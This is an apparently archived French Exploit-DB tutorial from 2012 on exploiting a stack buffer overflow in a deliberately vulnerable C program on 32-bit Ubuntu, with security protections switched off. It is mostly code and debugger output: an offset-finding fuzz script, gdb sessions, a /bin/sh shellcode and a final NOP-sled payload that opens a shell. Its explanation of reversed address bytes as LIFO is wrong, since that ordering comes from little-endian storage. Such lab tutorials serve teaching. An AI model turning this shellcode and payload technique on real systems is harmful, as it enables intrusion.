[French] Votre première Exploitation de BOF

EDB-ID:

18450

CVE:

N/A

Author:

fr0g

Type:

papers

Platform:

Multiple

Published:

2012-02-02

# Exploit Title: [French] Votre première exploitation de BOF
# Date: 02/02/2012
# Author: fr0g
# Tested on: Ubuntu 11.04 (x86)
# Website : http://hwc-crew.com
# Date : 02/02/2012
# Thank's : Storn( bsoddigital.fr ), int_0x80( big-daddy.fr )




Hello all, avant que les esprits ne s'échauffent, je tiens à préciser qu'il est préférable, pour
ne pas dire necéssaire voir "indispensable", d'avoir des connaissances sur le fonctionnement
d'un processeur, l'Assembleur, et une connaissance théorique des failles de type "Stack Overflow"
afin de pouvoir suivre ce tutoriel en le comprenant correctement, je vais procéder à l'exploitation d'un programme "bidon" en vous expliquant les
étapes au fur et à mesure,  toutefois, je vais essayer de me montrer le plus explicite possible .

(NOTE : les mots suivis d'un "*" (exemple : BOF*) sont expliqués en bas de l'article )


Analysons le programme qui va être exploité :


#include <string.h>
void overflow(const char* buf) {
    char buffer[256];
    strcpy(buffer, buf);
    printf("Fermeture du programme ...\n");
}

int main(int argc, char *argv[]) {   // premiere fonction appelée par le programme (avec un argument en paramètre)
    if(argc > 1){             // si un argument est donné

    overflow(argv[1]);          // on appelle la fonction overflow avec notre argument en paramètre
    }
    else{                            Sinon
        printf("Utilisation : ./vuln [arg]\n");
    }

    return 0;
}



Afin de rendre notre executable vulnérable, on va le copiller de la manière suivante : 

gcc vuln.c -o vuln -fno-stack-protector -ggdb3 

(afin de désactiver la détection des Buffer overflow)

Passons un coup notre programme à execstack pour savoir si l'éxécution de la stack est possible : 

Pour installer execstack (sous Debian) : sudo apt-get install execstack

Afin de savoir si le programme est vulnérable on fais :

fr0g@HWCare:~/Bureau$ execstack -q vuln
- vuln


Ceci nous signifie que la pile n'est pas executable, pour y remèdier, execstack
nous propose une fonction magique qui est : 

execstack -s vuln


On regarde à nouveau ? allez, soyons fous :

fr0g@HWCare:~/Bureau$ execstack -q vuln
X vuln


Yeaaah, il ne nous reste plus qu'a désactiver l'ASLR*, grâce à :

sudo sysctl -w kernel.randomize_va_space=0

Trève de futilités mondaines, passons à l'exploitation :)

Afin de déterminer à combien d'octets notre buffer va déborder, je vous invite à utiliser ce script:

# --------------------------------------------------------------------------------------------------------------------------------------

#coding=utf-8
#
# Desc : Petit script (faisant partie d\'un de mes projets actuels)
# effectuant un test un peu (beaucoup) bourrin afin de verifier
# la présence ou non d\'une faille de Stack Overflow
# dans l\'argument principal dans un executable quelconque.
     
     
     
import os
import commands
import sys


# --------------------------------------------------Class (color)

class bcolors:
HEADER = '\033[36m'
OKBLUE = '\033[94m'
OKGREEN = '\033[92m'
WARNING = '\033[31m'
ENDC = '\033[0m'




# -------------------------------------------------FONCTIONS

def header():
    os.system('clear')

    print bcolors.HEADER + """
- E.X.P.S.T.A.C.K -

[*] Author : fr0g
[*] WebSite : http://hwc-crew.com
[*] Th'x : Storn
   
    """+ bcolors.ENDC




def exp(cible):
   

   
    compteur = 1
    cmd = str("./"+str(cible)+" `python -c \"print "+str(compteur)+"*'\x90'\"`")
    rep = commands.getoutput(cmd)

    while (rep != "Segmentation fault"):
            header()
            compteur += 1
            print bcolors.OKBLUE + "[*] App : " + str(cible) +bcolors.ENDC
            print  bcolors.OKGREEN + "\n[*] Inject : " + str(compteur) + " Bytes" +  bcolors.ENDC
            cmd = str("./"+str(cible)+" `python -c \"print "+str(compteur)+"*'\x90'\"`")
            rep = commands.getoutput(cmd)
           
           
    print bcolors.WARNING + "\n[!] Stack Overflow at : " + str(compteur) + " Bytes in the buffer \n\n"+bcolors.ENDC

   
   
   

#--------------------------------------------------------Start here


if (len(sys.argv) < 2):
    print bcolors.WARNING + "\n[*] Where is your f*ckin binary ? \n[*] Use : ./findstackof [app] \n" + bcolors.ENDC
else:
    header()

    if (os.path.isfile(sys.argv[1])):
            try:   
                    exp(sys.argv[1])
            except:
                    print bcolors.WARNING + "\n Error" + bcolors.ENDC
    else:
            print bcolors.WARNING + "\n Error : Unknown file ..." + bcolors.ENDC

#----------------------------------------------------------------------------------------------------------------------------------------



On le lance avec le nom de notre application en paramètres : 

fr0g@HWCare:~/Bureau$ python findstackof.py vuln

- E.X.P.S.T.A.C.K -

[*] Author : fr0g
[*] WebSite : http://hwc-crew.com
[*] Th'x : Storn
    
    
[*] App : vuln

[*] Inject : 264 Bytes

[!] Seg fault at : 264 Bytes in the buffer 

fr0g@HWCare:~/Bureau$ 


On sait donc qu'a partir de 264 Octets, notre programme va planter : un petit test à l'ancienne :


fr0g@HWCare:~/Bureau$ ./vuln `python -c "print 264*'A'"` 
Fermeture du programme ...
Erreur de segmentation
fr0g@HWCare:~/Bureau$ ./vuln `python -c "print 263*'A'"` 
Fermeture du programme ...
fr0g@HWCare:~/Bureau$ 


Comme on le voit ici, le programme se ferme correctement à 263 octets, mais si on lui en donne
264, il plante. Maintenant, désassemblons notre executable avec cet outil magique qu'est le Gnu DeBugger,
puis on va placer quelques octets (précisément des NOP (\x90)) dans l'argument sur lequel va travailler le programme, (dans le cas présent, j'en ai mis 270)


fr0g@HWCare:~/Bureau$ gdb vuln
...
(gdb) r `python -c "print 270*'\x90'"`
Starting program: /home/fr0g/Bureau/vuln `python -c "print 270*'\x90'"`
Fermeture du programme ...

Program received signal SIGSEGV, Segmentation fault.
0x08009090 in ?? ()
(gdb) 


Si on regarde de plus l'adresse renvoyée par gdb : 0x08009090, on voit que les 2 derniers
octets de l'adresse sont 9090 (90 est la valeur hexadécimale correspondant à l'instruction NOP en Assembleur)

Afin d'être certain que ce n'est pas une conïncidence, essayons avec deux NOP en plus:


(gdb) r `python -c "print 272*'\x90'"`
Starting program: /home/fr0g/Bureau/vuln `python -c "print 272*'\x90'"`
Fermeture du programme ...

Program received signal SIGSEGV, Segmentation fault.
0x90909090 in ?? ()
(gdb) 


BINGO !!!, Maintenant, un peu de calcul (rien de difficile ^^)

Je m'explique, l'adresse renvoyée par gdb correspond à ce que contient le registre EIP 
(qui est censé contenir en permanencel'adresse de la prochaine instruction à éxécuter),

autrement dit, il va falloir retirer au nombre de NOP entrés en paramètre, le nombre d'octets que l'on voudra placer dans EIP,
afin qu'il pointe sur notre shellcode.

Donc : 272-4 = 268 NOPS

Essayons comme ceci : 


(gdb) r `python -c "print 268*'\x90' + 'ABCD'"`
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /home/fr0g/Bureau/vuln `python -c "print 268*'\x90' + 'ABCD'"`
Fermeture du programme ...

Program received signal SIGSEGV, Segmentation fault.
0x44434241 in ?? ()


EIP contient maintenant 0x44434241, ceci correspond à BCDA en hexadécimal, 

Pourquoi est-ce à l'envers ? 

Simplement car la structure de la pile utilise un principe appelé "LIFO*" ou "Last In First Out"
en français : "Dernier entré, premier sorti", imaginons ça sous la forme d'une pile de livres,
si on empile des livres de cette façon dans une boite :

|..................|
|....bleu........|
|.....jaune.....|
|.....rouge.... |
|.......vert .....|
|__________| 

c'est à dire dans l'ordre : vert, rouge, jaune, bleu ;
on les sortira forcément dans l'ordre : bleu, jaune, rouge, vert

c'est pareil pour les octets de l'adresse que l'on va placer dans la pile, 
pour connaitre cette adresse, on observe les registres du processeur après avoir fais planter le programme
avec la dernière commande : 

(gdb) info reg
eax            0x1b    27
ecx            0xffffffff    -1
edx            0x2bb398    2864024
ebx            0x2b9ff4    2858996
esp            0xbffff610    0xbffff610
ebp            0x90909090    0x90909090
esi            0x0    0
edi            0x0    0
eip            0x44434241    0x44434241
eflags         0x10282    [ SF IF RF ]
cs             0x73    115
ss             0x7b    123
ds             0x7b    123
es             0x7b    123
fs             0x0    0
gs             0x33    51
(gdb) 



EIP contient bien les octets que l'on à placé après les nops, allons jetter un oeil
au registre esp : 

(gdb) x/64x $esp
0xbffff7d0:    0x724e4038    0xe64d71aa    0x69086bdd    0x00363836
0xbffff7e0:    0x6d6f682f    0x72662f65    0x422f6730    0x61657275
0xbffff7f0:    0x75762f75    0x90006e6c    0x90909090    0x90909090
0xbffff800:    0x90909090    0x90909090    0x90909090    0x90909090
0xbffff810:    0x90909090    0x90909090    0x90909090    0x90909090
0xbffff820:    0x90909090    0x90909090    0x90909090    0x90909090
0xbffff830:    0x90909090    0x90909090    0x90909090    0x90909090
0xbffff840:    0x90909090    0x90909090    0x90909090    0x90909090
0xbffff850:    0x90909090    0x90909090    0x90909090    0x90909090
0xbffff860:    0x90909090    0x90909090    0x90909090    0x90909090
0xbffff870:    0x90909090    0x90909090    0x90909090    0x90909090
0xbffff880:    0x90909090    0x90909090    0x90909090    0x90909090
0xbffff890:    0x90909090    0x90909090    0x90909090    0x90909090
0xbffff8a0:    0x90909090    0x90909090    0x90909090    0x90909090



Il ne nous reste plus qu'à noter une adresse qui tombe dans les NOP : 0xbffff800

Allez, on repars dans un petit calcul, le Shellcode que l'on va utiliser est un simple /bin/sh
de 24 octets :

\x99\x31\xc0\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80

( Source : http://big-daddy.fr/repository/C0dz/binsh%28Djo%29.txt )

Comme précédemment, il faut retirer au nombre de NOP le nombre d'octets composants shellcode, soit : 

268 - 24 = 244
Notre exploit va se constituer de la manière suivante : 

les 244 NOP + le shellcode + l'adresse de retour, il ne reste plus qu'a essayer, on lance l'exploit : 

Je rapelle que notre adresse doit être ecrite afin de correspondre au principe de LIFO, donc 0xbffff800 = bffff800 = \x00\xf8\xff\xbf
ce qui donne : 

`python -c "print 244*'\x90' + '\x99\x31\xc0\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80' + '\x00\xf8\xff\xbf'"`



(gdb) r `python -c "print 244*'\x90' + '\x99\x31\xc0\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80' + '\x00\xf8\xff\xbf'"`
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /home/fr0g/Bureau/vuln `python -c "print 244*'\x90' + '\x99\x31\xc0\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80' + '\x00\xf8\xff\xbf'"`
Fermeture du programme ...

Program received signal SIGSEGV, Segmentation fault.
0x00bffff8 in ?? ()
(gdb) 


Hmm, la fatigue me prends, une erreur de calcul manifestement,
on voit clairement que l'adresse que l'on a placée dans l'argument avec les NOP et le shellcode n'est pas correctement
placée dans EIP, mais cela n'est pas très grave, ajoutons un NOP histoire de la décaler, ce qui donne cet exploit : 


`python -c "print 245*'\x90' + '\x99\x31\xc0\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80' + '\x00\xf8\xff\xbf'"`


Cette fois, ça devrait fonctionner, on quitte gdb, et on lance l'application avec notre exploit en paramètre : 


fr0g@HWCare:~/Bureau$ ./vuln `python -c "print 245*'\x90' + '\x99\x31\xc0\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80' + '\x00\xf8\xff\xbf'"`
Fermeture du programme ...
$ echo 'Rooted !!!'
Rooted !!!
$ 


Notre shellcode s'est éxécuté, et à correctement appelé le /bin/sh :)

Voilà, j'espère que j'ai été assez clair, bien que j'ai précisé que ce tutoriel s'adresse principalement aux initiés en langage Assembleur .

Cordialement, fr0g.



##############################################################################################

Lexique : 

BOF : Abréviation de Buffer Overflow
ASLR : "Address space layout randomization" : permet de rendre aléatoir les adresses de pile
LIFO : Last In First Out => http://fr.wikipedia.org/wiki/Last_in,_first_out

##############################################################################################